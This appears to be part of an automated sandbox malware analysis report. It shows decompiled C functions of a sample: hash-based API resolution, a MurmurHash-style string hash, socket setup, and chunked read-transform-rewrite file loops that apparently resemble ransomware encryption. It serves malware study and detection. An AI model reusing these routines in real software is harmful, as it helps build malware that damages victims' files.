    0x00f23ad4
    0x00f23ad5
    0x00f23ad6
    0x00f23ad7
    0x00f23ad8
    0x00f23ad9
    0x00f23ada
    0x00f23adb
    0x00f23adc
    0x00f23add
    0x00f23ade
    0x00f23adf
    0x00f23ae0
    0x00f23ae3
    0x00f23ae5
    0x00f23af0
    0x00f23af4
    0x00f23af5
    0x00f23af6
    0x00f23af7
    0x00f23afe
    0x00f23b02
    0x00f23b08
    0x00f23b0b
    0x00f23b0d
    0x00f23b10
    0x00f23b15
    0x00f23b18
    0x00f23b1e
    0x00f23b24
    0x00f23b29
    0x00f23b32
    0x00f23b34
    0x00f23b36
    0x00f23b3f
    0x00f23b41
    0x00f23b44
    0x00f23b46
    0x00f23b46
    0x00f23b44
    0x00f23b20
    0x00f23b20
    0x00f23b20
    0x00f23b4b
    0x00f23b52
    0x00f23b56
    0x00f23b5b
    0x00f23b5d
    0x00f23b60
    0x00f23b9d
    0x00f23ba0
    0x00f23ba2
    0x00f23ba4
    0x00f23ba8
    0x00f23bae
    0x00f23baa
    0x00f23baa
    0x00f23baa
    0x00f23bb0
    0x00f23bb2
    0x00f23bba
    0x00f23bbf
    0x00f23bb2
    0x00f23bc2
    0x00f23bc5
    0x00f23bc8
    0x00f23bca
    0x00f23bce
    0x00f23bce
    0x00f23bd3
    0x00f23bda
    0x00f23be1
    0x00f23be5
    0x00f23beb
    0x00f23be7
    0x00f23be7
    0x00f23be7
    0x00f23bef
    0x00f23bf2
    0x00f23bf5
    0x00f23bf7
    0x00f23bfa
    0x00f23bfd
    0x00f23c01
    0x00f23c03
    0x00f23c03
    0x00f23c05
    0x00f23c07
    0x00f23c0e
    0x00f23c1c
    0x00f239d3
    0x00f239d3
    0x00f239d6
    0x00f239da
    0x00f239f8
    0x00f239fe
    0x00f23a02
    0x00f23a0d
    0x00f239dc
    0x00f239de
    0x00f239e4
    0x00f239e8
    0x00f239f3
    0x00f239f3
    0x00f239da
    0x00f239cd
    0x00f239c5
    0x00f2392f
    0x00f2392f
    0x00f23932
    0x00f23947
    0x00f2394b
    0x00f2396c
    0x00f2396c
    0x00f2396e
    0x00f23970
    0x00f23974
    0x00f23977
    0x00f23979
    0x00f23979
    0x00f2397b
    0x00f2397d
    0x00f2397f
    0x00f2397f
    0x00f23982
    0x00f23982
    0x00f23987
    0x00f2394d
    0x00f2394d
    0x00f23950
    0x00000000
    0x00f23952
    0x00f23952
    0x00f23955
    0x00f23957
    0x00f2395d
    0x00f23962
    0x00f23965
    0x00f23965
    0x00f23969
    0x00f23969
    0x00f23950
    0x00f23934
    0x00f23934
    0x00f23937
    0x00f23938
    0x00f2393d
    0x00f23940
    0x00f23940
    0x00f23944
    0x00f23944
    0x00f23932
    0x00f238f1
    0x00f238f1
    0x00000000
    0x00f238f1
    0x00f238ef
    0x00f238ea
    0x00f238e3
    0x00f238dc
    0x00f238d7

    APIs
    • std::_Xinvalid_argument.LIBCPMT ref: 00F2398F
    • std::_Xinvalid_argument.LIBCPMT ref: 00F23ACB
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: Xinvalid_argumentstd::_
    • String ID: invalid string position$string too long
    • API String ID: 909987262-4289949731
    • Opcode ID: 0ce90bea49e2f79e5279d6efa08263fd9ca4a898fb1f4e608d57e29466c03dab
    • Instruction ID: d16677bc67c6abad768719d4be25fca02a0a737f379351fb178ce99e39eacfb7
    • Opcode Fuzzy Hash: 0ce90bea49e2f79e5279d6efa08263fd9ca4a898fb1f4e608d57e29466c03dab
    • Instruction Fuzzy Hash: 0C912AB27043249BCB24DF6CF88056AF7E9FF84760B10062EE996C7250D779DA40DBA5
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F23CF0 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
    Download Yara Rule
    C-Code - Quality: 81%
    			E00F23CF0(void* __ebx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v12;
				char _v76;
				signed int _v80;
				intOrPtr _t23;
				signed int _t26;
				signed int _t27;
				char* _t28;
				signed int _t52;
				signed int _t53;
				char _t54;
				intOrPtr _t55;
				void* _t56;
				void* _t57;
				intOrPtr _t58;
				void* _t61;
				signed int _t63;
				intOrPtr* _t65;
				void* _t66;
				signed int _t67;
				unsigned int _t77;
				signed int _t81;
				signed int _t84;
				intOrPtr* _t85;
				signed int* _t86;
				signed int _t88;
				void* _t89;
				signed int _t90;
				signed int _t92;
				signed int _t93;
				signed int _t97;
				signed int _t98;
				signed int _t100;
				signed int _t103;
				signed int _t104;

				_t96 = __esi;
				_t89 = __edi;
				_t83 = __edx;
				_t61 = __ebx;
				_t23 = _a4;
				if(_t23 != 0) {
					__eflags = _t23 - 0x7fffffff;
					if(__eflags > 0) {
						E00F37F8B(__eflags);
						goto L8;
					} else {
						_t56 = _t23 + _t23;
						__eflags = _t56 - 0x1000;
						if(__eflags < 0) {
							_t57 = E00F37C92(_t65, __edx, __esi, __eflags, _t56); // executed
							return _t57;
						} else {
							_t65 = _t56 + 0x23;
							__eflags = _t65 - _t56;
							if(__eflags <= 0) {
								L8:
								E00F37F8B(__eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_t103 = _t104;
								_t26 =  *0xf4a004; // 0x355216d4
								_t27 = _t26 ^ _t103;
								__eflags = _t27;
								_v12 = _t27;
								_t97 = _t83;
								_t28 =  &_v76;
								_push(_t89);
								_t84 = 0x40;
								do {
									 *_t28 = 0;
									_t28 = _t28 + 1;
									_t84 = _t84 - 1;
									__eflags = _t84;
								} while (_t84 != 0);
								_push(_t61);
								_t85 =  &_v76;
								_t63 = _t97 >> 2;
								_t90 = _t63;
								__eflags = _t90;
								if(_t90 != 0) {
									do {
										_t55 =  *_t65;
										_t65 = _t65 + 4;
										 *_t85 = _t55;
										_t85 = _t85 + 4;
										_t90 = _t90 - 1;
										__eflags = _t90;
									} while (_t90 != 0);
								}
								_t92 = _t97 & 0x00000003;
								__eflags = _t92;
								if(_t92 != 0) {
									_t88 = _t85 - _t65;
									__eflags = _t88;
									do {
										_t54 =  *_t65;
										_t65 = _t65 + 1;
										 *((char*)(_t88 + _t65 - 1)) = _t54;
										_t92 = _t92 - 1;
										__eflags = _t92;
									} while (_t92 != 0);
								}
								_t66 = 0;
								__eflags = _t97;
								if(_t97 > 0) {
									do {
										_t52 =  *(_t103 + _t66 - 0x44);
										__eflags = _t52 - 0x41;
										if(_t52 >= 0x41) {
											__eflags = _t52 - 0x5a;
											if(_t52 <= 0x5a) {
												_t53 = _t52 + 0x20;
												__eflags = _t53;
												 *(_t103 + _t66 - 0x44) = _t53;
											}
										}
										_t66 = _t66 + 1;
										__eflags = _t66 - _t97;
									} while (_t66 < _t97);
								}
								_v80 = _t97;
								_t86 =  &_v76;
								_t93 = 0x5b2d;
								__eflags = _t97 - 4;
								if(_t97 >= 4) {
									_t97 = _t97 +  ~_t63 * 4;
									asm("o16 nop [eax+eax]");
									do {
										_t77 =  *_t86 * 0x5bd1e995;
										_t86 =  &(_t86[1]);
										_t93 = _t93 * 0x5bd1e995 ^ (_t77 >> 0x00000018 ^ _t77) * 0x5bd1e995;
										_t63 = _t63 - 1;
										__eflags = _t63;
									} while (_t63 != 0);
								}
								_t67 = 0;
								_t98 = _t97 - 1;
								__eflags = _t98;
								if(_t98 == 0) {
									L29:
									__eflags = _t67;
								} else {
									_t100 = _t98 - 1;
									__eflags = _t100;
									if(_t100 == 0) {
										L28:
										_t67 = _t67 ^ (_t86[0] & 0x000000ff) << 0x00000008;
										__eflags = _t67;
										goto L29;
									} else {
										__eflags = _t100 == 1;
										if(_t100 == 1) {
											_t67 = (_t86[0] & 0x000000ff) << 0x10;
											__eflags = _t67;
											goto L28;
										}
									}
								}
								__eflags = _v12 ^ _t103;
								return E00F37A82(_v12 ^ _t103);
							} else {
								_t58 = E00F37C92(_t65, __edx, __esi, __eflags, _t65);
								_t3 = _t58 + 0x23; // 0x23
								_t81 = _t3 & 0xffffffe0;
								__eflags = _t81;
								 *((intOrPtr*)(_t81 - 4)) = _t58;
								return _t81;
							}
						}
					}
				} else {
					return 0;
				}
			}





































    0x00f23cf0
    0x00f23cf0
    0x00f23cf0
    0x00f23cf0
    0x00f23cf3
    0x00f23cf8
    0x00f23d02
    0x00f23d07
    0x00f23d40
    0x00000000
    0x00f23d09
    0x00f23d09
    0x00f23d0b
    0x00f23d10
    0x00f23d32
    0x00f23d3d
    0x00f23d12
    0x00f23d12
    0x00f23d15
    0x00f23d17
    0x00f23d45
    0x00f23d45
    0x00f23d4a
    0x00f23d4b
    0x00f23d4c
    0x00f23d4d
    0x00f23d4e
    0x00f23d4f
    0x00f23d51
    0x00f23d56
    0x00f23d5b
    0x00f23d5b
    0x00f23d5d
    0x00f23d61
    0x00f23d63
    0x00f23d66
    0x00f23d67
    0x00f23d70
    0x00f23d70
    0x00f23d73
    0x00f23d74
    0x00f23d74
    0x00f23d74
    0x00f23d79
    0x00f23d7c
    0x00f23d7f
    0x00f23d82
    0x00f23d84
    0x00f23d86
    0x00f23d88
    0x00f23d88
    0x00f23d8a
    0x00f23d8d
    0x00f23d8f
    0x00f23d92
    0x00f23d92
    0x00f23d92
    0x00f23d88
    0x00f23d99
    0x00f23d99
    0x00f23d9c
    0x00f23d9e
    0x00f23d9e
    0x00f23da0
    0x00f23da0
    0x00f23da2
    0x00f23da5
    0x00f23da9
    0x00f23da9
    0x00f23da9
    0x00f23da0
    0x00f23dae
    0x00f23db0
    0x00f23db2
    0x00f23db4
    0x00f23db4
    0x00f23db8
    0x00f23dba
    0x00f23dbc
    0x00f23dbe
    0x00f23dc0
    0x00f23dc0
    0x00f23dc2
    0x00f23dc2
    0x00f23dbe
    0x00f23dc6
    0x00f23dc7
    0x00f23dc7
    0x00f23db4
    0x00f23dcb
    0x00f23dce
    0x00f23dd1
    0x00f23dd6
    0x00f23dd9
    0x00f23ddf
    0x00f23de6
    0x00f23df0
    0x00f23df0
    0x00f23df6
    0x00f23e0c
    0x00f23e0e
    0x00f23e0e
    0x00f23e0e
    0x00f23df0
    0x00f23e13
    0x00f23e16
    0x00f23e16
    0x00f23e19
    0x00f23e35
    0x00f23e38
    0x00f23e1b
    0x00f23e1b
    0x00f23e1b
    0x00f23e1e
    0x00f23e2c
    0x00f23e33
    0x00f23e33
    0x00000000
    0x00f23e20
    0x00f23e20
    0x00f23e23
    0x00f23e29
    0x00f23e29
    0x00000000
    0x00f23e29
    0x00f23e23
    0x00f23e1e
    0x00f23e8a
    0x00f23e94
    0x00f23d19
    0x00f23d1a
    0x00f23d22
    0x00f23d25
    0x00f23d25
    0x00f23d28
    0x00f23d2e
    0x00f23d2e
    0x00f23d17
    0x00f23d10
    0x00f23cfa
    0x00f23cff
    0x00f23cff

    APIs
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: 1bac8cf4540fcab1de0a290edf3037595f438f2952277e2d2f5a4931c5861151
    • Instruction ID: 6f6ae7038304f81b21888f7b0eede594803d9fdd164ce5be3af75eb23f342205
    • Opcode Fuzzy Hash: 1bac8cf4540fcab1de0a290edf3037595f438f2952277e2d2f5a4931c5861151
    • Instruction Fuzzy Hash: 61F027F2A082080BD758F774AC1392EB2888B30370B404139F12ACA281F539DA10A255
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F2EB70 Relevance: 3.1, APIs: 2, Instructions: 121fileCOMMON
    Download Yara Rule
    C-Code - Quality: 82%
    			E00F2EB70(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				long _v12;
				intOrPtr _v16;
				void* _v20;
				union _LARGE_INTEGER _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _t40;
				intOrPtr _t44;
				intOrPtr _t47;
				int _t49;
				intOrPtr _t55;
				int _t57;
				void* _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t64;
				intOrPtr _t71;
				intOrPtr _t73;
				intOrPtr _t75;
				intOrPtr _t82;
				long _t87;
				long _t88;
				signed int _t89;
				intOrPtr _t90;
				long _t92;
				void* _t102;

				_t40 =  *0xf4a004; // 0x355216d4
				_v8 = _t40 ^ _t89;
				_t62 = __ecx;
				_v20 = __edx;
				asm("xorps xmm0, xmm0");
				_v12 = 0;
				_push(__edi);
				_t75 =  *((intOrPtr*)(__ecx + 0xc));
				_t64 =  *((intOrPtr*)(__ecx + 8));
				asm("movlpd [ebp-0x20], xmm0");
				_v28 = _t64;
				_v44 = _t75;
				_t90 = _t75;
				if(_t90 >= 0 && (_t90 > 0 || _t64 != 0)) {
					_t44 = _v36;
					_t82 = _v32;
					_v16 = _t44;
					while(1) {
						_t87 = _t64 - _t44;
						_t92 = _t87;
						asm("sbb eax, edi");
						_v32 = _t75;
						if(_t92 >= 0 && (_t92 > 0 || _t87 > 0x500000)) {
							_t87 = 0x500000;
						}
						_v24.LowPart =  *(_t62 + 4);
						_t47 =  *0xf4c2ec; // 0xddcc10
						if( *((intOrPtr*)(_t47 + 0x10)) == 0) {
							_t60 = E00F222A0(_t62, 0, 0, _t82, _t87, 0xf91ac9a0);
							_t73 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t73 + 0x10)) = _t60;
						}
						_t49 = ReadFile(_v24.LowPart, _v20, _t87,  &_v12, 0); // executed
						if(_t49 == 0) {
							goto L19;
						}
						_t88 = _v12;
						if(_t88 != 0) {
							_v16 = _v16 + _t88;
							_t22 = _t62 + 0x10; // 0x10000000f
							asm("adc edi, 0x0");
							_v32 = _t82;
							E00F22F50(_t62, _t22, _v20, _t82, _t88, _v20, _t88);
							_v24.LowPart =  ~_v12;
							asm("adc edi, edi");
							_v40 =  *(_t62 + 4);
							_t55 =  *0xf4c2ec; // 0xddcc10
							if( *((intOrPtr*)(_t55 + 0x50)) == 0) {
								_t59 = E00F222A0(_t62, 0, 0,  ~0x00000000, _t88, 0xd54e6bd3);
								_t71 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t71 + 0x50)) = _t59;
							}
							_push(1);
							_t57 = SetFilePointerEx(_v40, _v24,  ~0x00000000, 0); // executed
							if(_t57 != 0) {
								_t58 = E00F2BFF0(_t62,  *(_t62 + 4), _v20,  ~0x00000000, _t88, _t88); // executed
								if(_t58 != 0) {
									_t82 = _v32;
									_t75 = _v44;
									_t44 = _v16;
									_t64 = _v28;
									_t102 = _t82 - _t75;
									if(_t102 < 0 || _t102 <= 0 && _t44 < _t64) {
										continue;
									}
								}
							}
						}
						goto L19;
					}
				}
				L19:
				return E00F37A82(_v8 ^ _t89);
			}


































    0x00f2eb76
    0x00f2eb7d
    0x00f2eb81
    0x00f2eb83
    0x00f2eb87
    0x00f2eb8a
    0x00f2eb91
    0x00f2eb92
    0x00f2eb95
    0x00f2eb98
    0x00f2eb9d
    0x00f2eba0
    0x00f2eba3
    0x00f2eba5
    0x00f2ebb5
    0x00f2ebb8
    0x00f2ebbb
    0x00f2ebc0
    0x00f2ebc2
    0x00f2ebc2
    0x00f2ebc6
    0x00f2ebc8
    0x00f2ebcb
    0x00f2ebd7
    0x00f2ebd7
    0x00f2ebdf
    0x00f2ebe2
    0x00f2ebec
    0x00f2ebf7
    0x00f2ebfc
    0x00f2ec02
    0x00f2ec02
    0x00f2ec12
    0x00f2ec16
    0x00000000
    0x00000000
    0x00f2ec1c
    0x00f2ec21
    0x00f2ec27
    0x00f2ec2a
    0x00f2ec33
    0x00f2ec37
    0x00f2ec3a
    0x00f2ec46
    0x00f2ec4c
    0x00f2ec4e
    0x00f2ec53
    0x00f2ec5d
    0x00f2ec68
    0x00f2ec6d
    0x00f2ec73
    0x00f2ec73
    0x00f2ec76
    0x00f2ec81
    0x00f2ec85
    0x00f2ec8e
    0x00f2ec95
    0x00f2ec97
    0x00f2ec9a
    0x00f2ec9d
    0x00f2eca0
    0x00f2eca3
    0x00f2eca5
    0x00000000
    0x00000000
    0x00f2eca5
    0x00f2ec95
    0x00f2ec85
    0x00000000
    0x00f2ec21
    0x00f2ebc0
    0x00f2ecb5
    0x00f2ecca

    APIs
    • ReadFile.KERNELBASE(?,?,?,00000000,00000000,?,FFFFFFFF,?), ref: 00F2EC12
    • SetFilePointerEx.KERNELBASE(?,?,00000000,00000000,00000001,?,00000000), ref: 00F2EC81
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: File$PointerRead
    • String ID:
    • API String ID: 3154509469-0
    • Opcode ID: 632378692b445012f18d34aa559f82ce99811cd24a6e7ec6c9d897e950d5617d
    • Instruction ID: b9f134e5d419482fedc6636724733ad0c07497115e17b675fc406d84fddfcadc
    • Opcode Fuzzy Hash: 632378692b445012f18d34aa559f82ce99811cd24a6e7ec6c9d897e950d5617d
    • Instruction Fuzzy Hash: F1414175E012299BDB14CFA9DC90AAEB7B5FF98310F24816AEC11EB380D7759D01DB90
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F2E7A0 Relevance: 3.1, APIs: 2, Instructions: 113fileCOMMON
    Download Yara Rule
    C-Code - Quality: 66%
    			E00F2E7A0(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				long _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				union _LARGE_INTEGER _v32;
				void* _v36;
				void* _v40;
				signed int _t34;
				intOrPtr _t38;
				int _t40;
				intOrPtr _t48;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				struct %anon52 _t56;
				intOrPtr _t57;
				void* _t63;
				intOrPtr _t66;
				intOrPtr _t68;
				void* _t75;
				long _t82;
				long _t83;
				signed int _t84;
				struct %anon52 _t95;

				_t57 = __ecx;
				_t34 =  *0xf4a004; // 0x355216d4
				_v8 = _t34 ^ _t84;
				asm("xorps xmm0, xmm0");
				_v24 = __edx;
				asm("movlpd [ebp-0x20], xmm0");
				_t56 = _v32.LowPart;
				_push(__edi);
				_t75 = _v36;
				_v16 = __ecx;
				_v12 = 0;
				while(1) {
					_t82 = 0x100000 - _t75;
					asm("sbb eax, ebx");
					_v32.LowPart = 0;
					if(0x100000 >= 0 && (0x100000 > 0 || 0x100000 > 0x500000)) {
						_t82 = 0x500000;
					}
					_v20 =  *((intOrPtr*)(_t57 + 4));
					_t38 =  *0xf4c2ec; // 0xddcc10
					if( *((intOrPtr*)(_t38 + 0x10)) == 0) {
						_t54 = E00F222A0(_t56, 0, 0, _t75, _t82, 0xf91ac9a0);
						_t68 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t68 + 0x10)) = _t54;
					}
					_t40 = ReadFile(_v20, _v24, _t82,  &_v12, 0); // executed
					if(_t40 == 0) {
						break;
					}
					_t83 = _v12;
					if(_t83 != 0) {
						asm("adc ebx, 0x0");
						_v20 = _t75 + _t83;
						E00F22F50(_t56, _v16 + 0x10, _v24, _t75 + _t83, _t83, _v24, _t83);
						_v32.LowPart =  ~_v12;
						asm("adc edi, edi");
						_t63 =  *(_v16 + 4);
						_t48 =  *0xf4c2ec; // 0xddcc10
						_v40 = _t63;
						if( *((intOrPtr*)(_t48 + 0x50)) == 0) {
							_t53 = E00F222A0(_t56, 0, 0,  ~0x00000000, _t83, 0xd54e6bd3);
							_t66 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t66 + 0x50)) = _t53;
							_t63 = _v40;
						}
						_push(1);
						_t50 = SetFilePointerEx(_t63, _v32,  ~0x00000000, 0); // executed
						if(_t50 != 0) {
							_t52 = E00F2BFF0(_t56,  *(_v16 + 4), _v24,  ~0x00000000, _t83, _t83); // executed
							if(_t52 != 0) {
								_t75 = _v20;
								_t57 = _v16;
								_t95 = _t56;
								if(_t95 < 0 || _t95 <= 0 && _t75 < 0x100000) {
									continue;
								}
							}
						}
					}
					break;
				}
				return E00F37A82(_v8 ^ _t84);
			}





























    0x00f2e7a0
    0x00f2e7a6
    0x00f2e7ad
    0x00f2e7b2
    0x00f2e7b5
    0x00f2e7b8
    0x00f2e7bd
    0x00f2e7c0
    0x00f2e7c1
    0x00f2e7c4
    0x00f2e7c7
    0x00f2e7d0
    0x00f2e7da
    0x00f2e7dc
    0x00f2e7de
    0x00f2e7e1
    0x00f2e7ed
    0x00f2e7ed
    0x00f2e7f5
    0x00f2e7f8
    0x00f2e802
    0x00f2e80d
    0x00f2e812
    0x00f2e818
    0x00f2e818
    0x00f2e828
    0x00f2e82c
    0x00000000
    0x00000000
    0x00f2e832
    0x00f2e837
    0x00f2e848
    0x00f2e84b
    0x00f2e852
    0x00f2e85e
    0x00f2e864
    0x00f2e868
    0x00f2e86b
    0x00f2e870
    0x00f2e878
    0x00f2e883
    0x00f2e888
    0x00f2e88e
    0x00f2e891
    0x00f2e891
    0x00f2e894
    0x00f2e89d
    0x00f2e8a1
    0x00f2e8ad
    0x00f2e8b4
    0x00f2e8b6
    0x00f2e8b9
    0x00f2e8bc
    0x00f2e8be
    0x00000000
    0x00000000
    0x00f2e8be
    0x00f2e8b4
    0x00f2e8a1
    0x00000000
    0x00f2e837
    0x00f2e8e7

    APIs
    • ReadFile.KERNELBASE(?,?,00100000,00000000,00000000,?,FFFFFFFF,?), ref: 00F2E828
    • SetFilePointerEx.KERNELBASE(?,?,00000000,00000000,00000001,?,00000000), ref: 00F2E89D
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: File$PointerRead
    • String ID:
    • API String ID: 3154509469-0
    • Opcode ID: de98ec21bf2b000a7b2efdc8b28680cbdec040152abcbdb91af75bc1fd8f51fa
    • Instruction ID: ea6239be6ea822f9d25b34cce9503c71ecd5b1752f9e270387d628be2ba75608
    • Opcode Fuzzy Hash: de98ec21bf2b000a7b2efdc8b28680cbdec040152abcbdb91af75bc1fd8f51fa
    • Instruction Fuzzy Hash: C0415E35E00229ABDB14CFA9DC50BAEB7B5FF88310F14416AE814AB380DB75DE019B91
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F31C70 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON
    Download Yara Rule
    C-Code - Quality: 19%
    			E00F31C70(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				signed int _t19;
				intOrPtr _t21;
				intOrPtr* _t22;
				void* _t23;
				intOrPtr _t24;
				intOrPtr* _t25;
				intOrPtr _t29;
				intOrPtr* _t30;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t53;
				signed int _t54;

				_t51 = __edi;
				_t35 = __ebx;
				_t19 =  *0xf4a004; // 0x355216d4
				_v8 = _t19 ^ _t54;
				_t21 =  *0xf4c2ec; // 0xddcc10
				_t22 =  *((intOrPtr*)(_t21 + 0x134));
				if(_t22 == 0) {
					_t22 = E00F222A0(__ebx, 0, _t22 + 6, __edi, __esi, 0xc1575b);
					_t47 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t47 + 0x134)) = _t22;
				}
				_t23 =  *_t22(2, 1, 0); // executed
				_t53 = _t23;
				if(_t53 != 0xffffffff) {
					_t24 =  *0xf4c2ec; // 0xddcc10
					_v24 = 0x25a207b9;
					_v20 = 0x4660ddf3;
					_v16 = 0xe576e98e;
					_v12 = 0x3e06748c;
					_t25 =  *((intOrPtr*)(_t24 + 0x138));
					if(_t25 == 0) {
						_t25 = E00F222A0(_t35, 0, _t25 + 6, _t51, _t53, 0x1ad64c3e);
						_t45 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t45 + 0x138)) = _t25;
					}
					_push(0);
					_push(0);
					_push( &_v28);
					_push(4);
					_push(0xf4c304);
					_push(0x10);
					_push( &_v24);
					_push(0xc8000006);
					_push(_t53);
					if( *_t25() != 0) {
						goto L3;
					} else {
						_t29 =  *0xf4c2ec; // 0xddcc10
						_t30 =  *((intOrPtr*)(_t29 + 0x13c));
						if(_t30 == 0) {
							_t30 = E00F222A0(_t35, 0, _t30 + 6, _t51, _t53, 0x4118bcd2);
							_t43 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t43 + 0x13c)) = _t30;
						}
						 *_t30(); // executed
						asm("sbb eax, eax");
						return E00F37A82(_v8 ^ _t54, _t53);
					}
				} else {
					L3:
					return E00F37A82(_v8 ^ _t54);
				}
			}






















    0x00f31c70
    0x00f31c70
    0x00f31c76
    0x00f31c7d
    0x00f31c80
    0x00f31c86
    0x00f31c8e
    0x00f31c9a
    0x00f31c9f
    0x00f31ca5
    0x00f31ca5
    0x00f31cb1
    0x00f31cb3
    0x00f31cb8
    0x00f31ccb
    0x00f31cd0
    0x00f31cd7
    0x00f31cde
    0x00f31ce5
    0x00f31cec
    0x00f31cf4
    0x00f31d00
    0x00f31d05
    0x00f31d0b
    0x00f31d0b
    0x00f31d11
    0x00f31d13
    0x00f31d18
    0x00f31d19
    0x00f31d1b
    0x00f31d20
    0x00f31d25
    0x00f31d26
    0x00f31d2b
    0x00f31d30
    0x00000000
    0x00f31d32
    0x00f31d32
    0x00f31d37
    0x00f31d3f
    0x00f31d4b
    0x00f31d50
    0x00f31d56
    0x00f31d56
    0x00f31d5d
    0x00f31d65
    0x00f31d72
    0x00f31d72
    0x00f31cba
    0x00f31cba
    0x00f31cca
    0x00f31cca

    APIs
    • socket.WS2_32(00000002,00000001,00000000,00000000,?,?,?,00F3393B,?,?,00000000), ref: 00F31CB1
    • closesocket.WS2_32(00000000), ref: 00F31D5D
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: closesocketsocket
    • String ID:
    • API String ID: 2760038618-0
    • Opcode ID: e107b483ea90cde30479d39524ac1129c8085e3cd9c3ce0db598aabe0d9f98c4
    • Instruction ID: f9bf433ddd5336f0ed33e1947a7701943c3d61daf8be64b6be323fd483e8ccbe
    • Opcode Fuzzy Hash: e107b483ea90cde30479d39524ac1129c8085e3cd9c3ce0db598aabe0d9f98c4
    • Instruction Fuzzy Hash: 5D21A230A01208AFDB54DFE4DC46FF9B3A4EB05310F01416DE905EF2D1DBB1AA009B85
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F33290 Relevance: 3.1, APIs: 2, Instructions: 64COMMON
    Download Yara Rule
    C-Code - Quality: 42%
    			E00F33290(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				char _v16;
				signed int _t16;
				intOrPtr _t18;
				intOrPtr* _t19;
				void* _t20;
				intOrPtr _t21;
				intOrPtr* _t22;
				void* _t23;
				intOrPtr _t37;
				intOrPtr _t39;
